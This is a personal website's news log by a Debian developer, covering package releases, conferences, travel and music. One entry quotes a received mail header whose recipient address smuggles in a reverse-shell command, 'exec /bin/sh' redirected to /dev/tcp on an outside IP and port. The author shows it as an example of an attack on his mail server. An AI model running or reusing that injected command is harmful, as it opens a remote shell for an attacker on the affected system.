I offer work in Information Technology. Keywords: Software Packaging, Open Source, Debian GNU/Linux, Ubuntu, System Administration, Linux, Unix, Email, DNS network technology, LDAP Directory servers, Loadbalancing and Failover (Linux-HA's Heartbeat), Database servers (PostgreSQL, MySQL), Web technology (PHP, Apache). My Curriculum Vitae / resumé is available in HTML and PDF. See also the ad 1810 website.
Eindhovense ontmoetingsplaats (en één van de uitvalsbases van vrije software-groep enosig) Burgers werd in de nacht van 11 op 12 augustus 1990 gekraakt. In augustus 2015 zal een herdenkingsboek gepresenteerd worden. Mail burgers apenstaartje ellen-ehv punt nl voor informatie (en bijdragen!).
T-DOSE, the annual Technical Dutch Open Source Event in Eindhoven, The Netherlands. 26/27 October 2013.
BruCON 23-27 September 2013, Gent, Belgie
Incubate, 16 - 22 sept 2013, Tilburg. A festival of music and independent culture.
1st Balkan Computer Congress – BalCCon, 06|07 September 2013, Novi Sad, Vojvodina, Serbia, Europe, Earth, Milky Way. BalCCon Blog, BalCCon CfP.
FrOSCon 24+25 08 2013. Hochschule Bonn-Rhein-Sieg, Grantham-Allee 20, 53757 Sankt Augustin, Germany . Dat is ietsje ten noord-oosten van Bonn, een kilometer of 120 ten oosten van Maastricht.
OHM2013 --Observe, Hack, Make--, ср, 31. Јул - не, 4. Август 2013, Geestmerambacht, The Netherlands.
The Libre Software Meetings (Rencontres Mondiales du Logiciel Libre) will take place in Brussel, July 6-11 2013.
SIGINT 2013, Vrijdag 5 t/m 7 juli 2013, Keulen, Duitsland.
3 - 7 july 2013, Trutnov, Czech Republic: Obscene Extreme Festival - a "Freak
Friendly Extreme Musick Open Air Festival". 
July 1st, 2013: Submission deadline BalCCon speakers.
Planned Napalm Death concerts in Europe 2013:
23.06. Clisson – Hellfest (France) 26.06. Warschau – Metalfest Afterparty @ Progresja (Poland) 28.06. Roitzschjora – With Full Force Festival (Germany) 03.07. Esch sur Alzette – Kulturfabrik (Luxembourg) 05.07.2013 Trutnov – Obscene Extreme Festival (Czech Republic) 12.07. Wiesbaden – Schlachthof (Germany) 13.07. Antwerpen – Antwerp Metal Fest (Belgium) 02.08. Spital/Semmering – Metal Invasion O.A. (Austria) 03.08. Karlsruhe – New Noise Festival 8 (Germany) 08.08. Osnabrück – Bastard Club (Germany) 10.08. Ieper – Ieperfest (Belgium) 03.08. Karlsruhe – New Noise Festival 8 (Germany) 22.08. Brescia – Festa Di Radio Onda D’Durto (Italy) 23.08. Salzburg – Rockhouse Salzburg (Austria) 24.08. Bad Wünnenberg – Open Air (Germany) 30.08. Rasnov – Rockstadt Extreme Fest (Romania) 31.08. Frankfurt/Oder – Beach Rock Festival (Germany) 05.09. Alma-Ata – Da Freak Club (Kazakhstan) 06.09. Kiev – Green Theatre (Ukraine) 08.09. Samara – Zvezda Club (Russia) 10.09. Yaroslavl – t.b.a. (Russia) 12.09. St. Petersburg – Arctica (Russia) 13.09. Moscow – t.b.a. (Russia) 14.09. Minsk – Republic (Belarus) 08.12. Newcastle – Metal festival @ Northumbria University (Great Britain) 13.12. Eindhoven – Eindhoven Metal Meeting (Netherlands)
zondag 23 juni 2013, 13:30 Op De Tôffel, Vrijthof, Vierlingsbeek (dat ligt tussen Venray en Boxmeer, in noord-limburg). Gratis. Zie voorlopig festivalinfo.nl: "Vierlingsbeek is per trein bereikbaar via het traject Nijmegen - Roermond. Het festivalterrein ligt op 10 minuten loopafstand van het station."
Van 18 mei t/m 23 juni 2013: FotoFestival Naarden waar o.a. "Down and Out in the South" van Jan Banning gepresenteerd zal worden.
2013-06-21 t/m 2013-06-23 2013, München slcon.
News from the NLP-front, since the latest march 2013 report:
Good news for Natural Language Processing scientists interested in Memory-Based Learning (dealing with classification tasks, generating part-of-speech taggers or chunkers and related subjects). In the last 4 months, the Induction of Linguistic Knowledge Research Group, Tilburg University, together with the Language Technology Research group of CLiPS, Antwerp released new versions of their software packages.
With help from Ko van der Sloot, I've updated a few of the ILK Debian packages: The packages frog_0.12.17-7 (was 0.12.16-4), libfolia_0.10-4 (was 0.9-2), ticcutils_0.4-4 (was 0.3-1), timbl_6.4.4-3 (was 6.4.3-1), mbt_3.2.10-3 (was 3.2.9-2), timblserver_1.7-3 (was 1.6-2), ucto_0.5.3-3 (was 0.5.2-2) are uploaded to the Debian incoming area, and are now being inspected by the Debian FTP masters. If everything works out as planned, they'll get propagated to Debian "unstable".
For people running Debian "testing": The packages mbtserver (0.7-2, was 0.6-1), frogdata (0.4-1, was 0.3-2) dimbl (0.12-2, was 0.11-1) succesfully entered the Debian unstable suite. If everything works out as planned, and the problems shown this Debian Maintainer TODO list (especially release.debian.org ("ticcutils more excuses for ticcutils not being in testing")) gets dealt with, they'll get propagated to the Debian testing (aka "jessie") distribution, likely to be released late 2014.
For people running Debian "stable": In may 2013, Debian 7.0 "wheezy" was released. It comes with timbl 6.4.2-1, timblserver 1.4-2, mbt 3.2.8-1, mbtserver 0.5-2, libfolia 0.9-2, frog 0.12.15-3, frogdata 0.3-2, ucto 0.5.2-2 and dimbl 0.11-1. It will likely be supported till about late 2014.
See the previous march 2013 report for more information.
Ubica ontruiming. Ikzelf bewaar mooie herinneringen aan die prachtige plek.
Photography by Nicholas Nixon (born 1947 in Detroit, USA): "In 1975, Nixon began his project, The Brown Sisters consisting of a single portrait of his wife, Bebe, and her three sisters each year, consistently posed in the same left to right order. As of 2010, there are thirty-six portraits altogether."
7:58 - 9:22 : 84 minutes
This website has been available via IPv6 only, for a couple of weeks. For those relying on IPv4: sorry for that.
Rond zondag 19 mei 2013 (vrijdag 17 mei tot en met maandag 20 mei) vonden op het anarchistische, alcoholvrije kampeerterrein 'Tot Vrijheidsbezinning' te Appelscha weer de Pinksterlanddagen plaats. Jaarlijks sinds 1927! Zie de Pinksterlanddagen website de aankondiging met meer details.
Op zaterdag 18 mei vond de vijfde Landelijke Open Gemeenschappelijkwonendag 2013 plaats. Er is wellicht nog wat meer info op de websites van Landelijke Vereniging Centraal Wonen, Federatie Gemeenschappelijk Wonen en Omslag - Werkplaats voor Duurzame Ontwikkeling te vinden.
vrijdag 26 april 2013, Dommelstraat 2A, Eindhoven: 10 jaar Inkijkmuseum:
Receptie, publieke opening en feest. Vanaf 26 April 2013 heeft het
Inkijkmuseum twee tijdelijke zalen beschikbaar voor de mondiale mobiele
expositie Show Your Hope. Het Inkijkmuseum begon ooit als een gigantische
kijkdoos. Het is inmiddels het kleinste museum van het land met wellicht de
grootste hedendaagse internationale kunstcollectie van Nederland. 
(opening info)
Patched bozohttpd ("a small and secure http version 1.1 server. its main feature is the lack of features, reducing the code size and improving verifiability.") to deal with utf-8 in .html-files. See http://mdcc.cx/tmp/bozohttpd/ and Debian Bug #705736. Now this site looks OK again. \o/
Switched server software from thttpd to bozohttpd. Excuse me for the mojibake: work in progress. [...] Hrm, bozohttpd's -M flag seems borken.^W No it's not! (Should I use mathopd?)
New uruk release "version 20130426 - The Sy Release - 10th anniversary release" + debian package (20130426-1). Thanks Anton S. for bandwidth.
8:19 - 9:41: 82 min, 32 km.
April 6+7, 2013, Wilrijk (Antwerp), Belgium, LOAD: Linux Open Administration Days.
rond 1 april: ongeveer 88 min.
In heel Nederland waren hackerspaces voor iedereen gratis open op zaterdag 30 maart van 10:00 tot 17:00 (of later). O.a. in Amersfoort, Arnhem, Heerlen, Leeuwarden en Wageningen. Zie de algemene aankondiging.
7:33 - 8:59: 86 min, 32 km.
Enjoyed a trip to Sy, Ardennes: 
7:32 - 8:59: 87 min, 32 km.
Belgrade performance artist Marina Abramović was in MoMA in 2010 for her piece 'The Artist Is Present'. There, she encounted her ex-partner Ulay. See the YouTube upload Marina Abramović e Ulay - MoMA 2010 (uploaded by MiticoMazz) for what happened. She also this Zen Garage posting.
Moved some stuff about walking and sports from this page to buiten/.
Which version control systems are used by Debian developers to
maintain packages? Lucas
Nussbaum gave the definative word: 
.
Earlier, I wrote about this: These version control systems were used in sept
2012:
16 Vcs-Arch
60 Vcs-Mtn
70 Vcs-Cvs
153 Vcs-Hg
801 Vcs-Bzr
1862 Vcs-Darcs
8304 Vcs-Svn
16141 Vcs-Git
At june 5, 2012, situation was:
di 05 20:10 < flok> joostvb: 29 Vcs-Arch di 05 20:10 < flok> 51 Vcs-Mtn di 05 20:10 < flok> 70 Vcs-Cvs di 05 20:10 < flok> 156 Vcs-Hg di 05 20:10 < flok> 666 Vcs-Bzr di 05 20:10 < flok> 1106 Vcs-Darcs di 05 20:10 < flok> 8697 Vcs-Svn di 05 20:10 < flok> 14883 Vcs-Git [20:57] [joostvb(+i)] [4:#tosti] [Act: 1]
Thanks Folkert. I am happy darcs is gaining popularity. darcs rocks!
At June 3, 2011, situation was:
% apt-cache showsrc $(apt-cache pkgnames) | grep \^Vcs | \
grep -v Browse | cut -d: -f1 | sort | uniq -c | sort -n
42 Vcs-Mtn
59 Vcs-Darcs
60 Vcs-Arch
65 Vcs-Cvs
181 Vcs-Hg
745 Vcs-Bzr
9167 Vcs-Svn
10539 Vcs-Git
At October 11, 2008, situation was:
6 Vcs-Mtn
18 Vcs-Arch
41 Vcs-Darcs
59 Vcs-Hg
135 Vcs-Cvs
398 Vcs-Bzr
2156 Vcs-Git
5970 Vcs-Svn
While at March 29, 2008, situation was:
33 Vcs-Darcs
41 Vcs-Arch
60 Vcs-Hg
116 Vcs-Cvs
329 Vcs-Bzr
1132 Vcs-Git
4979 Vcs-Svn
(There's a bug in this script: it mixes debian source packages with debian binary packages. Thanks to JanC for pointing this out. I don't think fixing it will yield another ordering in the different version control systems, 'though.)
7:53 - 9:15: 82 min, 32 km, 23.4 km/h.
Tijden tot nog toe, in minuten (32 km):
2012 18 août 75 21 août 80 30 août 85 6 sept 80 11 sept 77 8. окт 85 18. окт 80 22. окт 83 31. окт 85 5. нов 87 28. нов 88 5. дец 89 2013 4. јан 98 9. јан 90 5. феб 108 12 Feb 88 21. феб 90 7. мар 82
News from the NLP-front, since the latest july 2012 report:
Good news for Natural Language Processing scientists interested in Memory-Based Learning (dealing with classification tasks, generating part-of-speech taggers or chunkers and related subjects). In the last half year, the Induction of Linguistic Knowledge Research Group, Tilburg University, together with the Language Technology Research group of CLiPS, Antwerp released new mbt (3.2.9), mbtserver (0.6), frog (0.12.16), frogdata (0.4), timbl (6.4.3), and timblserver (1.6) software packages. (The libfolia (0.9), ucto (0.5.2), and dimbl (0.11) software hasn't changed much since july 2012.) With help from Ko van der Sloot, I've updated all related Debian packages: mbt (3.2.9-2), mbtserver (0.5-1), frog (0.12.16-4), frogdata (0.4-1), timbl (6.4.3-1) and timblserver (1.6-2). (Packages libfolia (0.9-2), ucto (0.5.2-2) and dimbl (0.11-1) haven't changed a lot recently.)
These all succesfully entered the Debian unstable suite. The changes of last 6 months (as well as upcoming work) will get included in the Debian jessie release, likely to be released late 2014, and the recent work will get shipped with the upcoming Ubuntu "Raring Ringtail" release. The situation of the ILK/CLiPS software for the upcoming Debian wheezy release (scheduled for stable release, early this year), hasn't changed since july 2012. The current stable Ubuntu release (Quantal Quetzal) ships with pretty recent versions of the software.
I wrote (well, work in progress...) some documents for the ILK developers: a short introduction to the Debian project infrastructure, covering the parts which are relevant for ILK/CLiPS software packagers; and a document on how to create packages: Debian packages, Fedora RPM packages and Fink packages for Mac OSX.
Now, users of Ubuntu stable and Debian testing should just run:
$ sudo apt-get install science-linguistics
once, and, from then on, one's system is automagically kept up to date w.r.t. ILK software.
BTW, Debian squeeze (stable) ships science-linguistics version 0.12, while wheezy (testing) and sid (unstable) ship 0.16. For Ubuntu: Ubuntu Quantal Quetzal (current stable release) ships science-linguistics version 0.16ubuntu2. (For the ILK-trick to work, a version > 0.15 is needed.)
See the science-linguistics package page and the introduction to the Debian science project for (a lot) more information.
A new draai Debian package is published: 20130228-1, targeted for Debian unstable. It has entered the Debian archive, and will likely end up in the upcoming Debian jessie release.
You can read about the changes in the Debian package.
If you'd like to use draai on your Ubuntu Linux system, you're lucky: draai gets shipped with Ubuntu since the "lucid" release. This new draai release will likely get shipped with the upcoming "ringtail" release.
Visited Jelena in beautiful Cambridge again: 
.
New draai release: draai-20130228.tar.gz published: The The Arjuna, Mill Road, CB1 Release. draai is a command line music player, implemented as a wrapper around mpc(1). You can read about what's new in this release.
Switching from fvwm to a new window manager. It should be lightweight, simple and feel like Unix (i.e. have a decent manpage and understand the pipe symbol). It's a pity ratpoison is no longer maintained. The shortlist: xmonad (haskell), wmfs, Spectrwm, Snapwm, monsterwm (no-config), i3, herbstluftwm, dwm (no-config), dswm (lisp), awesome (lua), notion (lua). For now, I'm playing with dwm (the "Dynamic Window Manager"). I guess I'll stick with that one, for the last about 2 weeks I've been pretty happy with it.
New uruk released: uruk-20130226.tar.gz - The Vlist Release. You can read about what's new in this release. It fixes an annoying bug in uruk 20121205.
I've uploaded a new uruk Debian package, uruk 20130226-1. You can read more about the changes in the Debian package.
The new uruk package will enter the Debian archive. It will likely show up in the upcoming upcoming Debian release: Debian jessie might ship uruk 20130226-1, wheezy will ship uruk 20120608.1-1, squeeze ships uruk 20100823-1, lenny shipped 20080330-1, etch shipped 20051027-1.
An updated Uruk RPM: uruk-20121205-1.noarch.rpm is released.
FOSDEM 2013 took place on Saturday 2 and Sunday 3 February 2013, Université Libre de Bruxelles, Belgium. Beer event: Friday 1 February 2013. It was good as ever.
Found out about two more beautiful places in Cambridge: the CB1 café, Mill Road 91, serving organic sandwiches, and the excellent Arjuna, Cambridge’s Oldest Vegetarian Wholefood Shop. Joined a céilidh too; should definately do that more often :)
Found the nice 
Holstee Manifesto by the Holstee lifestyle and fashion
shop, while visiting Omslag, Eindhoven.
zondag 9 december 2012, 17:00 to 20:00, Haklab Beograd, Daničareva 23, Београд, Србија: Radionica Coq-a prema kursu "Software Foundations" (CIS 500), Benjamina Piercea. Contact: irc:freenode/#hklbgd. Missed that one :( Hope to be able to attend another time.
Belgrade Garage Rock Band Repetitor tours The Netherlands. Woohoo!
Published some historic recordings of ...Wazige Mannen....
Stuff about DJ joostvb has moved.
Still there are some nice record stores in Eindhoven. Don't buy online, but hang out at these friendly places!
CD Teek Eindhoven, sinds 1989.
Kleine Berg 52, Eindhoven, Tel: +31 (0)40 2451337. Open: ma t/m do: 12:00 -
18:00, vr: 12:00 - 21:00, za: 10:00 -18:00. 
.
Ray Elpee, Kleine Bleekstraat 18, Eindhoven. Open afternoons.
I've uploaded aephea_10.008-2 to Debian's testing-proposed-updates. An unblock request has been filed as Bug#694365, if everything works out as planned it'll get shipped with the upcoming Debian wheezy release.
uruk-20121130.tar.gz is released: The experimental Вршац Release. You can read about what's new in this release.
I've uploaded aephea_12-248-2_all.deb. Thanks Andreas Beckmann for spotting a bug. You can read more about the changes in the Debian package.
aephea is a text-based authoring tool for HTML. If you'd like to generate manpages, but don't like troff syntax, and find Perl's POD too limited, Aephea's Portable Unix Documentation is likely useful for you.
The new aephea package has entered the Debian archive. This version (or a later one) will show up in the upcoming upcoming Debian jessie release.
I am working on getting it in wheezy too. If I fail, wheezy will ship with aephea 10.008-1. (And zoem 11-166-1. squeeze ships zoem 08-248-1. Debian ships zoem since March 2004.)
Allie Brosh of HYPERBOLE and a Half fame, kicks ass.
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I've enjoyed T-DOSE: Technical Dutch Open Source Event, october 27 - 28, 2012, Eindhoven. Ik was één van de sprekers.
Found back a picture of me teaching at the AfNOG Workshop on Network Technology - Scalable Internet Services, part of the 11th AfNOG Meeting and the AfriNIC-12 Meeting in Kigali, Rwanda, may 2010.
For the upcoming Debian "wheezy" release, uruk-20120608.1.tar.gz is released, as well as Debian package uruk 20120608.1-1. This release adds a fix for IPv6 firewalling (add missing rules for ICMPv6 Local Configuration Traffic) to uruk version 20120608.
Did some reading about the Uncanny Valley.
Here's Matthew Inman's The Oatmeal on Nicola Tesla. Another nice Oatmeal: 
. And Saturday Morning Breakfast Cereal: nice
too.
Met dank aan Omslag vond ik de mooie documentaire De Bewoners Van... Ecotribe Teuge uitgezonden door TV Gelderland op 21 juni 2009.
Recently discovered 2 nice (and full-length) documentaties on Youtube: De Stad Was Van Ons directed by Joost Seelen,1996, about Amsterdam squatters scene in 1980ies. and: Crass - There Is No Authority But Yourself directed by Alexander Oey, 2006, about the UK anarcho punk band and collective called Crass.
Some beautiful pics taken by Jelena at Cabo Verde, in 2010:
The current status of software from Daniel Bernstein in Debian:
I didn't find any Debian packaging efforts for publicfile. There has been a bit of non-productive noise in Bug #122614.
djbdns is not shipped with any Debian release, it's available in unstable only, due to Bug #516394. There's an alternative for djbdns: dbndns, a fork of the djbdns package, including patches for e.g. providing IPv6 functionality. That one is not in any stable release either; due to the same bug.
daemontools is shipped with Debian stable since the squeeze release. \o/ (There's an alternative for daemontools: runit and socklog.)
qmail will ship with the Debian wheezy release. \o/
Published a new systraq Debian package: systraq_0.0.20081217-4_all.deb. Systraq monitors your system and warns when system files change. This version (or a later one) will likely end up in Debian jessie (the current unstable). (wheezy (the current testing) will likely get released with 0.0.20081217-3, squeeze (the current stable) ships 0.0.20081217-1+squeeze2.1; sarge was the first Debian release which came with systraq: 0.0.20050213-4.) You can read about the changes in the Debian package and view some Debian developer information on the package.
Vanaf 10.00: .deb en .rpm packaging workshop, RevSpace, Den Haag. Ikzelf was één van de sprekers.
Het document Debian packaging met Subversion en debhelper wordt nog steeds bijgewerkt. Als je naar de dpkg and RPM packaging workshop in Den Haag gaat, bekijk dan hier de laatste versie.
Pics from Wuppertal:
See also the 2011 Wim Wenders movie about Pina Bausch: Pina.
Gaf geslaagde Debian GNU/Linux packaging workshop, bij MAD lab emergent art center, Schellens Building, Vestdijk 280, Eindhoven. Zie ook deze aankondiging.
caspar 20120530-1 uploaded to Debian unstable.
New caspar release: caspar-20120514.tar.gz. You can read about what's new in the latest caspar tarball.
Published first draft of document: How to get a patched alsa kernel module installed on your Linux system. WIP.
I've uploaded a new caspar Debian package: 20120508-1, to Debian unstable. It entered in the Debian archive tomorrow, and will likely end up in the upcoming Debian wheezy release. (Debian squeeze ships caspar 20100624-1.)
You can read about the changes in the Debian package, and about what's new in the caspar tarball.
If you'd like to use this new caspar on your Debian squeeze system, you can just fetch the unstable package and install that one: there are very few (and only harmless) dependencies. Or, even better, you might like to try to track this package using apt pinning.
If you'd like to use this new caspar on your Ubuntu Linux system, you'll have to wait for a few weeks. It'll probably get shipped with the upcoming stable Ubuntu quantal release. The current stable precise (12.4) release ships with caspar 20101204-1. (oneiric (11.10) ships with 20101204-1, natty (11.4) with 20100624-1, maverick (10.10) with 20100223-1.) Caspar is shipped with Ubuntu Linux, via the Universe component.
Een eerste embrionale versie van het document Debian packaging met Subversion en debhelper is gepubliceerd. Met dank aan o.a. revspace.
Foto's uit Colombo: School-boek uit de Dutch Church, zicht op Colombo met Bank of Ceylon en World Trade Center vanuit Galle Face Hotel, Sri Lanka Survey Department's Map Sales Centre:
Foto's uit Kandy / මහ නුවර / கண்டி : Temple of the Tooth:
Kandy: street, railwaystation:
Vlees op de markt in Kandy:
Kusa Baba, Why This Kolaveri Di:
Trein van Kandy naar Colombo:
Dit jaar hebben Jelena en ik een nieuwjaarsduik genomen: in Ravana Ella Falls tijdens Singalees/Tamil Nieuw Jaar. Dat was het 2e nieuwjaar dat we op Sri Lanka meemaakten: we waren nog net op tijd om Bahá'í Nowruz mee te pikken in Colombo.
Foto's uit Colombo:
Storm in Tangalle:
Strand:
Nieuwjaarsviering op school in Dikkumbura:
Waar de schildpadden nestelen, in Rekkawa:
Ella: straathond, roti, winkel:
Enjoyed FEST filmfestival belgrade, Међународни филмски фестивал.
Eindhoven de Gekste! 
FOSDEM, the biggest free and non-commercial event organized by and for the Free and Open Source Software community, took place in Brussels, Belgium in February 2012. As always, there was a Debian booth; me and Jelena volunteered.
I joined the DIASPORA* nonprofit, user-owned, distributed social network. It's based upon the free Diaspora software. I am Joost van Baal-Ilić at the diaspora Serbia pod.
Published new Lire release (since about 3 years), lire-2.1.1.tar.gz as well as Debian package: lire 2.1.1-1. Lire is log analysis software from the LogReport project. You can read about the changes in the Debian package. This version (or a later one) will likely end up in Debian wheezy (the current testing). lenny (the current oldstable) ships 2.0.3-1.1, squeeze (current stable) 2.1-1.1. Version 2.1.1-1 will also likely get shipped with Ubuntu. You can view some Debian developer information about the package, and browse its Version Control repository.
Melchior
spends almost every night outside, in the garden. During the day he helps me
doing paperwork.
Took some pics
of construction site near Utrecht Central Railwaystation, traveling with Jelena
on way to mini-honeymoon.
Jelena
and me 
got married
today (voor de gemeente,
deze
keer).
Visited hunebedden in
Schoonoord, Sleen, Havelte and other places. 
See also this beautiful hunebedden
website by Hans Meijer.
Meer poezie!.
Machine opal.mdcc.cx is niet meer. (Machine emerald.mdcc.cx wordt nog steeds door Virtual Concepts te Tilburg gehost.)
Jelena made me a bread 
.
24th to 30th July 2011: I've enjoyed DebConf11 in Banja Luka, Bosnia and Herzegovina. See also debconf11.debconf.org.
Deze website draait niet langer op "opal" maar op "beskar": een VPS server die bij Hostingvereniging Soleus gehost wordt. Nu dus ook via IPv6 te bereiken \o/. (Daar merk je, als het goed is, helemaal niks van trouwens.)
Ik deed mee aan de Bosch Parade, een kunstzinnige vaartocht op de middeleeuwse Dieze in Den Bosch. 17, 19, 22, 24 en 26 juni 2011. Update 2011-07-21: Een filmpje van mij en Miron in de boot van Tijs Rooijakkers staat hier op youtube. De boot "otbo velo" is trouwens te koop.
Uploaded a bunch of pretty nice pictures: Београд and
Serbia.
My current VCS-preference list is:
(I am trying hard to keep the number of systems I am using concurrently down. I'm failing though: five is ridiculous.)
Trip to Tara Mountains,
Serbia.
Another nice trip to Belgrade.
I've enjoyed the Mikser Festival, in Beograd, may 2011. I am a member of Proba. This choir is an initiative of the Škart collective for poetry and design. Our performance was a succes! :)
Jelena and me have spent a very nice honeymoon.
Jelena and me got married today! 
Found this in my mailbox:
Received: from bluedick (eluxenia.com [62.149.195.3])
by emerald.mdcc.cx (Postfix) with SMTP id 14BB8C067
for <"root+:|exec /bin/sh 0</dev/tcp/87.106.250.176/45295 1>&0 2>&0">;
Sun, 13 Feb 2011 04:14:18 +0100 (CET)
At least this cracker (not "hacker") was a creative one :)
comment: ma 14 08:37 < Fruit> feh, bashism. waar kan ik een bug fileren?
Published a new systraq Debian package: systraq_0.0.20081217-3_all.deb. This version (or a later one) will likely end up on Debian wheezy (the current testing). (squeeze (the current stable) ships 0.0.20081217-1+squeeze2.1; sarge was the first Debian release which came with systraq: 0.0.20050213-4.) You can read about the changes in the Debian package and view some Debian developer information on the package. Thanks to Julien Valroff, Lucas Nussbaum and Mehdi Dogguy مهدي الدڤي for their help in building this new release.
Yes, I finally have a "real" blog, at http://www.bewelcome.org/ and you can subscribe to it via RSS.
Enjoyed Belgrade.
't Is ongelofelijk maar waar: na meer dan zes jaar is er weer een aflevering van Joost's Kookhoekje verschenen. Overheerlijke Nassi deze keer.
I'm back home from my first trip to Rwanda. Have visited the cities
of Kigali (pictures) and Butare; have been working as a
volunteer at the AfNOG-11 meeting's AfNOG Workshop 2010 at Kigali
Institute of Technology. Furthermore, I've visited the IT department of Rwanda Development Board as well as National Universitsity of Rwanda. I've
learned to enjoy Zingaru with Pilipili while having a "Mintzig" and am happy to
have met the very kind people of Rwanda. I'll be back.
Tijdens het 6e vuurfeest maakte
Virginie mooie foto's van o.a. Melchior.
26 Feb 2010: caspar's 100th anniversary!
Discovered the beautiful soukous as sung by Tabu Ley Rochereau and M'Bilia
Bel 
Discovered Jean Bosco Mwenda's
beautiful Congolese acoustic guitar music.
And did some Eekboek Debian uploads, too.
Zaterdag 12 december 2009: 5e vuurfeest.
Genoot van prima sfeer in Grubbestein, tussen Heijen en Gennep.
I've finally started migrating my repositories from GNU Arch to git: http://git.mdcc.cx/ is up and running. Some stuff should show up at http://mdcc.cx/git/ too soonish.
13 t/m 16 August 2009: enjoyed HAR2009.
The CouchSurfing project truly kicks ass. I thought I knew it, but now I know it even better. An updated Mission statement has been published:
At CouchSurfing International, we envision a world where everyone can explore and create meaningful connections with the people and places they encounter. Building meaningful connections across cultures enables us to respond to diversity with curiosity, appreciation and respect. The appreciation of diversity spreads tolerance and creates a global community.
Next to this, this project is very open about financial details: at the "Finances"-link they give full details about the 2004 - 2008 Income and Operating Expenses.
O, and this week I've enjoyed one of my best hosting experiences :)
Enjoyed (more pics, thanks to
Wouter Verhelst e.a.) DebConf 9 in Cáceres, Extremadura,
Spain, 23 - 30 July 2009. (And the Museo del Prado in Madrid, too; as well as
yet another very good Couchsurfing
experience.)
update: Even more and more pictures.
Vierde Zonnewende aka Summer Solstice (05:45 UTC) bij Dommelen.
In de Keltische mythologie wordt de midzomernacht omschreven als de meest magische van het jaar. In deze nacht worden hemelse vuren ontstoken ter verering van het hoogtepunt van zon en maan. Het gerucht gaat dat tijdens deze nacht de poort naar de elfenwereld openstaat...
Viering van midzomernacht werd in vroegere tijden gelinkt aan de zomerzonnewende. De mensen geloofden dat planten op midzomer geneeskrachtige en magische krachten hebben en hiervoor plukten ze op deze nacht. Vreugdevuren werden ontstoken om zich te beschermen tegen de duistere krachten waarvan werd geloofd dat ze vrij spel hadden vanaf het moment was aangebroken waarop het aantal uren daglicht opnieuw afnam.
Bedankt Marianne, Ron, Hilleke, Leon en Mariëlle voor het organiseren van dit prachtige feest.
Fietstocht gemaakt. Fiets- en wandeltochten staan sinds vandaag op de buitenpagina.
Patched ogg2mp3; see also the patched script.
Sat 21 - Sun 29 march: geekski, Austria, in a village called Tux. It'll likely look like this. Some people joining hang around at the #debian-uk IRC channel at OFTC.
Thanks to Marieke, there are pictures.
Inspired by this post by Mark van Dijk, I wrote huisrekening, a script to compute payment schemes for payback among people who've all contributed (different) amounts of money to some common good. (A typical scenario for communities like student dorms.)
Met dank aan de mensen van Eindhoven in Beeld, die ik in het EiB-Huys op de
Grote Berg 9 in Eindhoven ontmoette, weet ik nu eindelijk wie opdracht gaf om
de genummerde boerderijen rond Eindhoven te laten bouwen. Dat was de gemeente,
die wilde dat boeren zorg gingen dragen voor de ontginning van moerassige
gebieden, en daarom zorgde voor hun huisvesting. Van drie van die boerderijen
weet ik dat ze er nog staan: eentje bij de Vense dijk (bij coördinaten
topografische kaart 157-385). Boerderij V staat er ook nog, bij Mispelhoef in
de buurt van coördinaten 156-388. En Boerderij IX is er
nog, bij de wijk Ooievaarsnest, coördinaten 158-380. Die laatste staat in het
voormalige overloopgebied van de Dommel. Er is nog een "Ontginningsweg" in die
wijk, die verwijst naar dat verleden.
Released pgp-kspkeyserver-0.0.1.tar.gz.
Inspired by Philipp Wesche's whohas, I've written the first version of whohas2html. I've ran
$ update-whohashtml -d \ archlinux,debian,fink,freebsd,gentoo,macports,netbsd,openbsd,ubuntu,fedora \ < whohas.packages.txt > whohas.html
and collected the in- and output files.
Uploaded new Eekboek (Bookkeeping software for small and medium-size businesses) Debian package: eekboek 1.04.02-1 has entered the Debian archive. It will likely enter Debian unstable soonish. You can read about the changes in the Debian package. This version (or a later one) will likely end up in Debian squeeze (the current unstable). lenny (the current testing) won't ship eekboek. It'll also likely get shipped with Ubuntu. You can view some Debian developer information about the package, and browse its Version Control repository.
Monday january 12: Talk at Chaos Seminar in Ulm, Germany: mailman-pgp-smime, een project dat ondersteuning voor OpenPGP en S/MIME aan GNU Mailman wil toevoegen.
Uploaded the freedict-tools-dev 0.3-2 Debian package , as well as the freedict-eng-ara_0.6.1-1, freedict-ara-eng_0.6.1-1, freedict-lit-eng_0.4-1 and freedict-eng-lit_0.4-1 Debian source packages, as prepared by Kęstutis Biliūnas to Debian experimental. See the pkg-freedict page on Alioth if you'd like to help: there's still quite some work to do.
De 2e aflevering van het poeziefestival Westelbeers was zo mogelijk nog beter dan de eerste aflevering: met lekkere zelfgemaakte erwtensoep deze keer. Zie ook het verslagje van de vorige aflevering.
Published smallmailclient_0.2-beta-1_all.deb, a Debian package for the mail client for the Small Sister privacy system.
john campbell kicks ass, see "Paul who is a ghost who is on a plane" and other pictures for sad children comics.
Found out today there was a 55 kilometer pneumatic post system in use in Prague
untill 2002. On the right: /var/log/mail.log. On the left: /usr/sbin/sendmail.
On the lower right: /etc/mail/sendmail.cf.
Found out about this nice and insightful article on How to recognise a good programmer at Daniel Tenner's blog.
Ik heb eindelijk het filmpje gevonden dat Source21.nl van me maakte over PGP. Dank aan John Jaarsveld voor de tip.
Released tremble 0.0.3.
The system I've bought in March is finally up and running. It's called bruhat.mdcc.cx, after Yvonne Choquet-Bruhat who wrote Analysis, Manifolds and Physics in 1977 with Cécile DeWitt-Morette. It's running Debian GNU/Linux, and powered by lvm, xfs, reiserfs, runit, socklog, netqmail and maildrop, a.o. See also my list of packages I can't live without.
Finally published ad1810-tachod. It's a simple script to annoy the user and chase her away from the computer when she shouldn't be working. (Published some other old scripts too.)
Found back a 1998-08 post of mine. Jee...
Published ad1810-autoindex, a small (and still somewhat buggy) shell script useful if your webserver has no (or limited) autoindex support.
aangifte-ib-installer_0.8-1_all.deb released: converts official (as in: not test) version of Aangifteprogramma 2007, as supplied by Dutch belastingdienst to a binary package for Debian and Ubuntu GNU/Linux.
I am working on muladhara. Details will follow Real Soon Now.
[Here's an old entry, for people interested in history:] This site has moved to [topaz,] a machine with a somewhat more reliable internet connectivity. Read about the disasters which happened last two weeks here. You might find broken links, due to this move. I'm working on it. The documentation will stay at my homemachine.
...is maintaining this site. Read about Joost van Baal-Ilić and about DJ joostvb.
The mdcc.cx domain is dedicated to the year AD MDCCCX, in which journalist and women's rights activist Margaret Fuller was born. The quote
When people keep telling you that you can't do a thing, you kind of like to try it.
is attributed to her.
(Thanks to Ferdinand Francino and vormveranderaar Virginie Moerenhout for helping me finding this dedication for the domain.)
I am a happy Virtual Concepts customer: this site is hosted by them. I am also a happy L² Transfinite Technologies user; hosted on conuropsis.org, are, a.o.:
